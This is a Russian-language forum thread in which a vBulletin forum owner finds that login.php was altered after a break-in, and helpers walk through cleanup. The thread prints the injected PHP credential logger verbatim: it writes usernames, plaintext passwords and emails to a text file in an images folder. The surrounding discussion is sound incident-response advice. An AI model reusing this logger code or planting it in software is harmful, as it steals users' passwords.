[Проблема]

Всем привет.
У меня на форуме появилась странная ошибка, сайт вообще не могу открыть, при открытии пишет это:

Parse error: syntax error, unexpected T_STRING in .../public_html/forum/global.php on line 614

ближайшие две недели вообще ни чего, ни каких скриптов, хаков не устанавливал, системные файлы форума не изменял, вчера все было норм, сегодня открываю форум и вижу это?
Получается ошибка появилась сама по себе, что уже очень странно, как можно исправить, подскажите знающие люди

Скрипт для поиска вредоносного ПО "AI-Bolit"
http://vbsupport.ru/forum/showthread.php?t=44001

первая ошибка пропала, но недавно стал замечать другую, какую то странную ошибку
когда логинюсь на сайте или админке, то сверху появляются такие строки



ни кто не сталкивался с такой?

проверяй файлы, вполне может быть что на авторизацию повесили логгер паролей

kerk, а файлы какие, все чтоли проверять?

файлы авторизации, аутентификации + сопутствующие функции
ну и глобал заодно

чет я не понял, взял свой файл login.php и такойже файл с архива vBulletin 3.8.7 Patch Level 2 NULL FS
и обнаружил, что в моем файле добавлены такие строки

PHP Code:

        $lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
        $lg_password = $vbulletin->GPC["vb_login_password"];
        $lg_file = "./forum/images/editor/phps.txt";
        $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {
         $fp1 = @fopen($lg_file, "a+");
         @fwrite($fp1, $lg_username . ' : ' .  $lg_password." (" . $row["email"] . ")\n");
         @fclose($fp1);
         $f = @file($lg_file);
         $new = array_unique($f);
         $fp = @fopen($lg_file, "w");
         foreach($new as $values)
         {
            @fputs($fp, $values);
         }
         @fclose($fp);
      }
   } 


Они вообще нужны?
посмотрел вот этот файл /forum/images/editor/phps.txt но он пустой, создан 7 сентября
меня че взломали и дописали лишние строки?

siriusmelaf добавил 08.09.2012 в 23:01
а в своем global.php не обнаружил этих строк

// you may define this if you don't want the password in the login box to be zapped onsubmit; good for integration
$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0; // this nees to be an int for the templates

siriusmelaf добавил 08.09.2012 в 23:04
изменил эти файлы на оригинальные, и все. строки тех ошибок пропали, значит кто то взломал меня, да?

Originally Posted by siriusmelaf

обнаружил, что в моем файле добавлены такие строки

я про это и говорил
это и есть логгер паролей узеров, в том числе и админов =)
смотри так же в файле functions_login.php

Originally Posted by siriusmelaf

взломали и дописали лишние строки?

похоже на то
в дефолтном файле таких строк нет и быть не должно
=
просканируй сервак на наличие шеллов
проверь не появились ли "лишние" админы
проверь так же все модули, может есть такие, что не относятся к хакам, в основном бэкдоры вешают на хуки:
misc_*
faq_*
ajax_*
global_*

самое интересно. что изменив эти файлы, файлы не поменяли даты редактирования, только глобал был изменен, у меня походу и первая ошибка была из за этого.
Спасибо, буду чистить

Ещё поищите, через что именно вам шелл закинули.